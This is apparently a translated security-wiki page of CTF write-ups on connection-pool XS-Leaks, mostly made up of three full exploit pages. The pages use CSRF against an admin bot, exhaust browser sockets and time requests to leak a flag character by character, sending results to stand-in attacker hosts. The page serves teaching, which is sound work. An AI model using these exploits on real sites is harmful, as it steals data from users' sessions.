# Connection Pool Examples

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## Sekaictf2022 - safelist

In the [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) challenge, [**@Strellic\_**](https://twitter.com/Strellic_)는 **Connection Pool** 기술의 **변형**을 사용하여 **XS-Leak**을 수행하는 방법의 예를 제공합니다.

이 도전에서 목표는 봇의 웹 세션 내의 게시물에 나타날 플래그를 유출하는 것입니다. 공격자가 가진 자산은 다음과 같습니다:

- **봇**은 공격자가 제공한 **URL**을 **방문**합니다.
- 공격자는 페이지에 **HTML**을 **주입**할 수 있습니다(하지만 JS는 불가능하며, dompurify가 사용됨) **CSRF**를 악용하여 **봇이 그 HTML로 게시물**을 생성하게 합니다.
- 공격자는 CSRF를 악용하여 **봇**이 웹 내의 **첫 번째** **게시물**을 **삭제**하게 할 수 있습니다.
- **게시물**이 **알파벳 순서**로 정렬되기 때문에, **첫 번째 게시물**이 삭제되면, 공격자의 **HTML** 내용이 **로드**되면 그것이 **플래그보다 알파벳 순서상 앞**에 있었다는 것을 의미합니다.

따라서 플래그를 훔치기 위해 @Strellyc\_가 제안한 해결책은, **테스트할 각 문자에 대해** 봇이:

- **플래그**의 알려진 부분으로 **시작하는 새로운 게시물**을 생성하고 여러 **img** **로드**를 합니다.
- **위치 0**의 **게시물**을 **삭제**합니다.
- 255 소켓을 차단합니다.
- 게시물이 있는 페이지를 로드합니다.
- 사이트에 대해 5개의 무작위 요청을 수행하고 이 작업에 걸리는 시간을 측정합니다.

> [!WARNING]
> 만약 **삭제된** 게시물이 **플래그**였다면, 이는 모든 **주입된 이미지**가 **5개의 무작위 요청**과 **차단되지 않은** 소켓을 두고 **경쟁**하게 된다는 것을 의미합니다. 이는 측정된 시간이 다른 시나리오보다 더 길어질 것임을 의미합니다.
>
> 만약 **삭제된** 게시물이 **HTML**이라면, **5개의 무작위 요청**은 **더 빠르게** 진행될 것입니다. 왜냐하면 그들은 주입된 HTML과 그 소켓을 두고 경쟁할 필요가 없기 때문입니다.

### Exploit 1

This is the exploit code, taken from [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
```html
<!-- Form to inject HTML code in the bots page -->
<form
method="POST"
action="https://safelist.ctf.sekai.team/create"
id="create"
target="_blank">
<input type="text" name="text" />
<input type="submit" />
</form>

<!-- Form to delete the first entry -->
<form
method="POST"
action="https://safelist.ctf.sekai.team/remove"
id="remove"
target="_blank">
<input type="text" name="index" value="0" />
<input type="submit" />
</form>

<script>
// Attacker listening
const WEBHOOK = "https://WEBHOOK.com/"
// Send data to attacker
const log = (id, data) => {
let payload = JSON.stringify({ known, alphabet, data })
console.log(id, payload)
navigator.sendBeacon(WEBHOOK + "?" + id, payload)
}

// Similar to JQuery
const $ = document.querySelector.bind(document)

// Known part of the flag
const known = "SEKAI{"
let alphabet = "_abcdefghijklmnopqrstuvwxyz}"

// Reduce the alphabet using a hash (#) in the URL
if (location.hash) {
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)))
}

// Funtion to leak chars
const leak = async (c) => {
// Prepare post with known flag and the new char
let payload = `${known + c}`
// Inject as many <img as possible
// you need to respect the CSP and create URLs that are different
for (let i = 0; payload.length < 2048; i++) {
payload += `<img src=js/purify.js?${i.toString(36)}>`
}

// Inject HTML
$("#create input[type=text]").value = payload
$("#create").submit()
await new Promise((r) => setTimeout(r, 1000))

// Remove post with index 0
$("#remove").submit()
await new Promise((r) => setTimeout(r, 500))

let deltas = []

// Try each char 3 times
for (let i = 0; i < 3; i++) {
const SOCKET_LIMIT = 255
// you will need a custom server that works like num.sleepserver.com/sleep/delay
// needed to freeze the blocked sockets, and they have to all be on different origins
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
const SLEEP_SERVER = (i) => `http://${i}.sleepserver.com/sleep/60`

const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), {
mode: "no-cors",
signal: controller.signal,
})
} catch (err) {}
}

// block SOCKET_LIMIT sockets
const controller = new AbortController()
for (let i = 0; i < SOCKET_LIMIT; i++) {
block(i, controller)
}

// Make the bot access the page with the posts
window.open(
"https://safelist.ctf.sekai.team/?" +
Math.random().toString(36).slice(2),
"pwn"
)
await new Promise((r) => setTimeout(r, 500))

// start meassuring time to perform 5 requests
let start = performance.now()
await Promise.all([
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
])
let delta = performance.now() - start
document.title = delta
controller.abort()

log("test_" + c + "_" + i, delta)

// Save time needed
deltas.push(delta)
}
return deltas
}

// Check each char
const pwn = async () => {
// Try to leak each character
for (let i = 0; i < alphabet.length; i++) {
//Check the indicated char
let deltas = await leak(alphabet[i])

// Calculate mean time from requests to example.com
let avg = deltas.reduce((a, v) => a + v, 0) / deltas.length

// If greater than 250, the HTML code was injected (flag in index 0)
if (avg > 250) {
log("tests_pos_" + alphabet[i], deltas)
}
// Flag in the page
else {
log("tests_neg_" + alphabet[i], deltas)
}
}
}

window.onload = async () => {
pwn()
}
</script>
```
### Exploit 2

같은 전술이지만 [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)에서 다른 코드입니다.
```html
<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<form
id="f"
action="http://localhost:1234/create"
method="POST"
target="_blank">
<input id="inp" name="text" value="" />
</form>

<form
id="f2"
action="http://localhost:1234/remove"
method="POST"
target="_blank">
<input id="inp2" name="index" value="" />
</form>
<script>
let flag = "SEKAI{"
const TARGET = "https://safelist.ctf.sekai.team"
f.action = TARGET + "/create"
f2.action = TARGET + "/remove"

const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
const send = (data) => fetch("http://server.ngrok.io?d=" + data)
const charset = "abcdefghijklmnopqrstuvwxyz".split("")

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
while (R - L > 3) {
let M = Math.floor((L + R) / 2)
let c = charset[M]
send("try_" + flag + c)
const found = await testChar(flag + c)
if (found) {
L = M
} else {
R = M - 1
}
}

// fallback to linear since I am not familiar with binary search lol
for (let i = R; i >= L; i--) {
let c = charset[i]
send("try_" + flag + c)
const found = await testChar(flag + c)
if (found) {
send("found: " + flag + c)
flag += c
break
}
}
}, 0)

async function testChar(str) {
return new Promise((resolve) => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
inp.value =
str +
'<br><canvas height="3350px"></canvas><br>' +
Array.from({ length: 20 })
.map((_, i) => `<img loading=lazy src=/?${i}>`)
.join("")
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// if the request is not enough, we can send more by opening more window
for (let i = 1; i <= 5; i++) {
window.open(TARGET)
}

let t = 0
const round = 30
setTimeout(async () => {
for (let i = 0; i < round; i++) {
let s = performance.now()
await fetch(TARGET + "/?test", {
mode: "no-cors",
}).catch((err) => 1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t / round
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = t >= 1000
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
</body>
</html>
```
## DiceCTF 2022 - carrot

이 경우 익스플로잇의 첫 번째 단계는 CSRF를 악용하여 플래그가 포함된 페이지를 **훨씬 더 많은 콘텐츠**를 포함하도록 수정하는 것이었고 (따라서 로딩하는 데 더 많은 시간이 걸림), 그런 다음 **연결 풀을 악용하여 플래그가 있을 수 있는 페이지에 접근하는 데 걸리는 시간을 측정**했습니다.

익스플로잇에서 볼 수 있는 내용:

- CSRF 악용
- 1개를 제외한 모든 소켓 점유
- 응답 보정
- 플래그가 있는 잠재적 페이지에 접근하여 브루트포싱 시작
- 잠재적 페이지에 접근하고 즉시 공격자가 제어하는 URL에도 접근하여 두 요청이 걸리는 시간을 확인합니다.
```html
<h1>DiceCTF 2022 web/carrot</h1>

<p>
Step 1: CSRF the admin user, to set a super long title for the flag note (LAX
+ POST form only possible for 2 minutes after cookies is created)
</p>
<button onclick="csrf()">do csrf</button>
<p>
Step 2: XS-Search with
<a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/"
>connection-pool timing leak</a
>, we have to use window.open (LAX cookie)
</p>

<button onclick="popunder()">open popup</button>
<button onclick="exhaust_sockets()">open 255 connections</button>
<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
<br />
<br />
<h2 id="output"></h2>
<br />
<form id="x" action="" method="POST" style="display:none;">
<input type="text" name="title" placeholder="title" />
<br /><br />
<input type="number" name="priority" placeholder="priority" value="9999" />
<br /><br />
<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
<br /><br />
<input type="submit" value="submit" />
</form>

<script>
// this is send is used as logging
LOG = "Starting"
// 255 in normal chrome, 99 in headless
SOCKETLIMIT = 255
// default
TIMELIMIT = 800
INSTANCE = ""
MYSERVER = `example.com`

const sleep = (ms) => {
return new Promise((resolve) => {
setTimeout(resolve, ms)
})
}

const time_fetch = async () => {
let test_server_url = `https://${MYSERVER}/?${LOG}`
let start = window.performance.now()
try {
await fetch(test_server_url, {
mode: "no-cors",
})
} catch (e) {
console.log(e)
}
let end = window.performance.now()
return end - start
}

const fetch_sleep_long = (i) => {
// 40s sleep
return fetch(`https://${i}.${MYSERVER}/40sleep`, {
mode: "no-cors",
})
}

const fetch_sleep_short = (i) => {
// 0.25s sleep
return fetch(`https://${i}.${MYSERVER}/ssleep`, {
mode: "no-cors",
})
}

const block_socket = async (i) => {
fetch_sleep_long(i)
// needed?
await sleep(0)
}

const exhaust_sockets = async () => {
let i = 0
for (; i < SOCKETLIMIT; i++) {
block_socket(i)
}
console.log(`Used ${i} connections`)
}

const timeit = async (url, popup) => {
return new Promise(async (r) => {
popup.location = url
// needed?
await sleep(50)

let val = await time_fetch()
r(val)
})
}

// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
const alphabet = "abcdefghijklmnopqrstuvwxyz}_".split("")
// const alphabet = 'abcdef}'.split('');

const oracle = async (search) => {
let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
let t = await timeit(url, WINBG)

LOG = `${search}:${t}`
console.log(`${search}:${t}`)

return t > TIMELIMIT
}

const brute = async (flag) => {
for (const char of alphabet) {
if (await oracle(flag + char)) {
return char
}
}
return false
}

const calibrate = async () => {
return new Promise(async (r) => {
// slow
let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
let t1 = await timeit(url1, WINBG)
console.log(`slow:${t1}`)
// fast
let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
let t2 = await timeit(url2, WINBG)
console.log(`fast:${t2}`)
return r((t1 + t2) / 2)
})
}

const exploit = async (flag = "") => {
console.log("Starting")
// dont go to fast plz :)
console.log(`waiting 3s`)
await sleep(3000)
// exaust sockets
await exhaust_sockets()
await sleep(2000)
LOG = `Calibrating`
TIMELIMIT = await calibrate()
LOG = `TIMELIMIT:${TIMELIMIT}`
console.log(`timelimit:${TIMELIMIT}`)
await sleep(2000)
let last
while (true) {
last = await brute(flag)
if (last === false) {
return flag
} else {
flag += last
output.innerText = flag
if (last === "}") {
return flag
}
}
}
}

const popunder = () => {
if (window.opener) {
WINBG = window.opener
} else {
WINBG = window.open(location.href, (target = "_blank"))
location = `about:blank`
}
}

const csrf = async () => {
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
x.title.value = "A".repeat(1000000)
x.submit()
}

window.onload = () => {
let p = new URL(location).searchParams
if (!p.has("i")) {
console.log(`no INSTANCE`)
return
}
INSTANCE = p.get("i")
// step 1
if (p.has("csrf")) {
csrf()
return
}
// step 2
if (p.has("exploit")) {
// window open is ok in headless :)
popunder()

exploit("dice{")
}
}
</script>
```
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